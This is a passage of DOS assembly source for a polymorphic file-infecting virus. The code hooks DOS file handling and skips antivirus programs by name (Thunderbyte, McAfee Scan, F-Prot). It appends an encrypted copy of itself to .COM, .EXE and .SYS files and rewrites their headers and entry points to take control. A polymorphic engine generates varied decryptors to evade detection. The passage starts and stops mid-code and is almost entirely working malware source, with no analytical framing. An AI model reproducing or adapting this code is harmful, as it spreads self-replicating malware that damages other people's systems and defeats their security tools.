;Get sft address in es:di call get_sft jc file_error ;Check device info word mov ax,word ptr es:[di+05h] ;Check if character device handle test al,80h jnz file_error ;Check if remote file handle test ah,0Fh jnz file_error ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je file_error ;Check file name in sft mov cx,0Bh mov si,di add si,20h name_loop: ;Get a pair of characters mov ax,word ptr es:[si] ;Do not infect files with digit in their file name cmp al,"0" jb no_digit cmp al,"9" jbe file_error no_digit: ;Do not infect files with "V" character in their filename cmp al,"V" je file_error ;Do not infect files with "MO" into their filenames cmp ax,"OM" je file_error ;Do not infect files with "IO" into their filenames cmp ax,"OI" je file_error ;Do not infect files with "DO" into their filenames cmp ax,"OD" je file_error ;Do not infect files with "IB" into their filenames cmp ax,"BI" je file_error ;Next character inc si loop name_loop ;Get first pair mov ax,word ptr es:[di+20h]

;Do not infect Thunderbyte antivirus utils cmp ax,"BT" je file_error ;Do not infect McAfee's Scan cmp ax,"CS" je file_error ;Do not infect F-Prot scanner cmp ax,"-F" je file_error ;Do not infect Solomon's Guard cmp ax,"UG" jne file_infection file_error: jmp critical_exit file_infection: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax test al,04h jnz system_file ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] ;Read file header call seek_begin push cs pop ds mov ah,3Fh mov cx,file_header_size mov dx,offset file_buffer call dos_call jc exit_inf ;Seek to end of file and get file size call seek_end ;Do not infect too small files or dx,dx jnz ok_min_size cmp ax,inf_byte_size jbe exit_inf ok_min_size: ;Point si to file_buffer mov si,offset file_buffer check_sys: ;Check for .sys extension cmp word ptr es:[di+28h],"YS" jne check_exe cmp byte ptr es:[di+2Ah],"S" jne check_exe jmp inf_sys check_exe:

;Check for .exe mark in file header mov cx,word ptr cs:[si+00h] ;Add markers M+Z add cl,ch cmp cl,"Z"+"M" jne check_com ;Check for .exe extension cmp word ptr es:[di+28h],"XE" jne check_com cmp byte ptr es:[di+2Ah],"E" jne check_com jmp inf_exe check_com: ;Avoid infecting .exe type here cmp cl,"Z"+"M" je exit_inf ;Check for .com extension cmp word ptr es:[di+28h],"OC" jne exit_inf cmp byte ptr es:[di+2Ah],"M" jne exit_inf jmp inf_com exit_inf: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] system_file: ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date/time on closing or byte ptr es:[di+06h],40h critical_exit: ;Check if close function cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh) je no_close_file ;Close file mov ah,3Eh call dos_call no_close_file: jmp m21h_exit ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect .sys files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinf_sys: ;Don't infect too big .sys files cmp ax,0FFFFh-(mem_byte_size*02h) jae exit_inf ;Check next driver address cmp word ptr cs:[si],0FFFFh jne exit_inf cmp word ptr cs:[si+02],0FFFFh

jne exit_inf ;Copy .sys file header call copy_header ;Store virus entry point ( file size ) over strategy routine address mov word ptr cs:[si+06h],ax ;Save delta offset for poly engine mov word ptr cs:[file_delta],ax ;Store return subroutine mov word ptr cs:[exit_address],offset exit_sys - \ offset host_ret ;Encrypt and infect jmp get_control ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect .com files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinf_com: ;Don't infect too big .com files cmp ax,0FFFFh-(mem_byte_size*02h) jae exit_inf ;Save first bytes of file call copy_header ;Get file length as entry point sub ax,03h ;Write a jump to virus into header mov byte ptr cs:[si+00h],0E9h mov word ptr cs:[si+01h],ax ;Save delta offset for poly engine add ax,0103h mov word ptr cs:[file_delta],ax ;Store return subroutine mov word ptr cs:[exit_address],offset exit_com - \ offset host_ret ;Encrypt and infect jmp get_control ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Infect .exe files ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄinf_exe: ;Make a copy of .exe file header call copy_header ;Don't infect Windows new exe files cmp word ptr cs:[si+19h],0040h jae bad_exe ;Don't infect overlays cmp word ptr cs:[si+1Ah],0000h

jne bad_exe ;Check maxmem field cmp word ptr cs:[si+0Ch],0FFFFh jne bad_exe ;Save file size push ax push dx ;Save old exe entry point push word ptr cs:[si+14h] pop word ptr cs:[exe_ip] push word ptr cs:[si+16h] pop word ptr cs:[exe_cs] ;Get file size div 10h mov cx,0010h div cx ;Subtract header size sub ax,word ptr cs:[si+08h] ;New entry point at file end mov word ptr cs:[si+14h],dx mov word ptr cs:[si+16h],ax ;Save delta offset for poly engine mov word ptr cs:[file_delta],dx ;Set new offset of stack segment in load module inc ax mov word ptr cs:[si+0Eh],ax ;Set new stack pointer beyond end of virus add dx,mem_byte_size+inf_byte_size+0410h ;Aligment and dx,0FFFEh mov word ptr cs:[si+10h],dx ;Restore size pop dx pop ax ;Resave size push ax push dx ;Get file size div 0200h mov cx,0200h div cx or dx,dx jz size_round_1 inc ax size_round_1: ;Check if file size is as header says cmp ax,word ptr cs:[si+04h] jne exit_header cmp dx,word ptr cs:[si+02h] je ok_file_size exit_header: pop dx

pop ax bad_exe: jmp exit_inf ok_file_size: ;Restore file size pop dx pop ax ;Add virus size to file size add ax,inf_byte_size adc dx,0000h ;Get infected file size div 0200h mov cx,0200h div cx or dx,dx jz size_round_2 inc ax size_round_2: ;Store new size mov word ptr cs:[si+02h],dx mov word ptr cs:[si+04h],ax ;Store return subroutine mov word ptr cs:[exit_address],offset exit_exe - \ offset host_ret ;Encryption an infection continues on next routine ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Encryption and infection ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄget_control: ;Reserve memory for poly engine buffer call memory_allocation jc no_good_memory ;Encrypt virus and build polymorphic decryptor sub bp,bp call do_encrypt ;Write virus body to the end of file mov ah,40h mov cx,inf_byte_size lds dx,dword ptr cs:[poly_working_ptr] call dos_call jc no_good_write ;Seek to beginning of file call seek_begin ;Write new header push cs pop ds mov ah,40h mov cx,file_header_size mov dx,offset file_buffer call dos_call ;Mark file as infected or byte ptr es:[di+0Dh],1Fh no_good_write:

;Free previous allocated memory call free_memory no_good_memory: jmp exit_inf ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Memory allocation routine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmemory_allocation: ;Save regs call push_all ;Use segment as success flag mov word ptr cs:[poly_working_seg],0000h ;Get and save memory allocation strategy mov ax,5800h call dos_call push ax ;Set new allocation strategy to first fit in high then low mov ax,5801h mov bx,0080h call dos_call ;Get and save umb link state mov ax,5802h call dos_call xor ah,ah push ax ;Set umb link state on mov ax,5803h mov bx,0001h call dos_call ;Allocate memory mov ah,48h mov bx,inf_para_size call dos_call jc error_mem_alloc ;Save pointer to allocated memory mov word ptr cs:[poly_working_off],0000h mov word ptr cs:[poly_working_seg],ax error_mem_alloc: ;Restore umb link state mov ax,5803h pop bx call dos_call ;Restore allocation strategy mov ax,5801h pop bx call dos_call ;Check segment cmp word ptr cs:[poly_working_seg],0000h je exit_mem_error ;Restore regs call pop_all

clc ret exit_mem_error: ;Restore regs call pop_all stc ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Free previous allocated memory ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄfree_memory: call push_all free_try_again: mov ah,49h mov es,word ptr cs:[poly_working_seg] call dos_call jc free_try_again call pop_all ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get random number from our rnd buffer ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄget_rnd: push si push ds push cs pop ds mov ax,word ptr cs:[rnd_pointer][bp] mov si,ax sub ax,bp cmp ax,decryptor-04h jbe into_random_data mov si,bp into_random_data: cld lodsw mov word ptr cs:[rnd_pointer][bp],si pop ds pop si ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Timer based random number generator ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄrandom_number: push cx in ax,40h mov cl,al xor al,ah xor ah,cl xor ax,0FFFFh org $-02h randomize: dw 0000h

mov word ptr cs:[randomize][bp],ax pop cx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a 16bit random number ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄrand_16: call get_rnd mov bl,al call get_rnd mov ah,bl ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a random number betwin 0 and ax ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄrand_in_range: ;Returns a random num between 0 and entry ax push bx push dx xchg ax,bx call get_rnd xor dx,dx div bx ;Remainder in dx xchg ax,dx pop dx pop bx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Return the al vector in es:bx ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄget_int: push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,dword ptr es:[bx+00h] pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Set al interrupt vector to ds:dx pointer ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄset_int: push ax push bx push ds cli xor ah,ah rol ax,1 rol ax,1

xchg ax,bx push ds xor ax,ax mov ds,ax mov word ptr ds:[bx+00h],dx pop word ptr ds:[bx+02h] sti pop ds pop bx pop ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get sft address in es:di ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄget_sft: ;File handle in bx push bx ;Get job file table entry to es:di mov ax,1220h int 2Fh jc error_sft ;Exit if handle not opened xor bx,bx mov bl,byte ptr es:[di+00h] cmp bl,0FFh je error_sft ;Get address of sft entry number bx to es:di mov ax,1216h int 2Fh jc error_sft pop bx clc ret error_sft: ;Exit with error pop bx stc ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Seek to end of file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄseek_end: call get_sft mov ax,word ptr es:[di+11h] mov dx,word ptr es:[di+13h] mov word ptr es:[di+17h],dx mov word ptr es:[di+15h],ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Seek to begin ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄseek_begin: call get_sft

xor ax,ax mov word ptr es:[di+17h],ax mov word ptr es:[di+15h],ax ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Virus critical error interrupt handler ( int 24h ) ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄmy_int24h: sti ;Return error in function mov al,03h iret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Save all registers in the stack ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄpush_all: cli pop word ptr cs:[ret_off] pushf push ax push bx push cx push dx push bp push si push di push es push ds push word ptr cs:[ret_off] sti ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Restore all registers from the stack ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄpop_all: cli pop word ptr cs:[ret_off] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push word ptr cs:[ret_off] sti ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Unhook int 24h and clear dos infection switch ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄunhook_ints: push ds

push dx push ax ;Clear dos running switch mov byte ptr cs:[running_sw],00h ;Restore int 24h lds dx,dword ptr cs:[old24h] mov al,24h call set_int pop ax pop dx pop ds ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Perform a call to dos function ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdos_call: pushf call dword ptr cs:[org21h] ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Get position of code inserted into boot sector ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄget_position: push cx ;Point di to offset in buffer mov di,bx ;Get displacement mov cx,word ptr es:[bx+01h] mov al,byte ptr es:[bx] ;Check for short jump cmp al,0EBh jne check_jump ;Store 8bit displacement xor ch,ch jmp short add_offset check_jump: ;Check for near jump cmp al,0E9h jne no_displacement add_offset: inc cx inc cx add di,cx no_displacement: pop cx ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Make a copy of file header ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄcopy_header:

;Copy header to buffer push si push di push cx push cs pop es mov si,offset file_buffer mov di,offset old_header mov cx,file_header_size cld rep movsb pop cx pop di pop si ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Decrypt header ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdecrypt_header: mov cx,file_header_size push dx pop si mov al,byte ptr cs:[si+file_header_size] restore_header: sub byte ptr cs:[si+00h],al inc si loop restore_header ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Print string while producing some beeps ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄloop_beep_string: ;Get character lodsb or al,al jnz print_that_char ret print_that_char: ;Print character mov ah,09h mov bx,0002h mov cx,0001h push si int 10h ;Produce a click call generate_beep ;Move cursor to next position mov ah,03h xor bh,bh int 10h inc dl mov ah,02h int 10h pop si

jmp loop_beep_string ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Generate a speaker beep ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄgenerate_beep: mov cx,0008h loop_click: push cx ;Get attention of the 8253 mov al,0B6h out 043h,al ;Sent frequency xor ax,ax dec ax out 042h,al mov al,ah out 042h,al ;Send signal to speaker in al,61h or al,03h out 061h,al ;Sound duration mov cx,0FFFFh wait_cycle: loop wait_cycle ;Clear signal in al,061h and al,0FCh out 061h,al pop cx loop loop_click ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³Polymorphic engine ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄdo_encrypt: push push push push push push push push

ax bx cx dx si di ds es

;Reset pointer to random data mov word ptr cs:[rnd_pointer][bp],bp try_new_generation: ;Initialize engine xor ax,ax lea di,word ptr [poly_data][bp]

;Clear last_subrotine mov word ptr cs:[di+04h],ax ;Clear decrypt_sub mov word ptr cs:[di+06h],ax ;Clear last_fill_type mov word ptr cs:[di],ax dec ax ;Clear last_step_type mov word ptr cs:[di+02h],ax ;Clear last_int_type mov byte ptr cs:[di+0Ah],al ;Clear decrypt_pointer mov byte ptr cs:[di+0Bh],al ;Get base address for memory operations mov ax,offset virus_copy add ax,word ptr cs:[file_delta][bp] mov word ptr cs:[di+12h],ax ;Choose counter and pointer register call get_rnd and al,01h mov byte ptr cs:[di+0Ch],al get_si_di_off: ;Choose displacement from / to encrypted code call get_rnd or al,al jz get_si_di_off mov byte ptr cs:[di+14h],al ;Choose type of decrypt sequence call get_rnd and al,01h mov byte ptr cs:[di+15h],al get_decrypt_reg: ;Choose register for decryption instructions call get_rnd and al,38h ;Do not use bl or bh into .sys decryptors cmp word ptr cs:[exit_address][bp],offset exit_com - \ offset host_ret je ok_decrypt_reg ;Check if it is bl cmp al,18h je get_decrypt_reg ;Check if it is bh cmp al,38h je get_decrypt_reg ok_decrypt_reg: mov byte ptr cs:[di+0Dh],al

;Choose segment registers for memory operations call get_seg_reg mov byte ptr cs:[di+0Eh],al call get_seg_reg mov byte ptr cs:[di+0Fh],al get_rnd_key: ;Get random crypt value call get_rnd or al,al jz get_rnd_key xchg bx,ax mov byte ptr cs:[clave_crypt][bp],bl ;Fill our buffer with garbage push cs pop ds mov es,word ptr cs:[poly_working_seg][bp] mov di,word ptr cs:[poly_working_off][bp] push di mov cx,decryptor cld fill_rnd_2: call get_rnd stosb loop fill_rnd_2 pop di ;Now es:di points to the buffer were engine put polymorphic code choose_type: ;Select the type of filler mov ax,(end_step_table-step_table)/02h call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_step_type][bp] je choose_type mov word ptr cs:[last_step_type][bp],ax ;Get displacement into subroutine table add ax,ax add ax,bp mov bx,ax ;Get subroutine address mov ax,word ptr cs:[step_table+bx] ;Add delta offset add ax,bp ;Save return address lea bx,word ptr [step_return][bp] push bx ;Save subroutine address push ax ;This is for later operations cld ret step_return: ;Check decryptor size mov ax,di

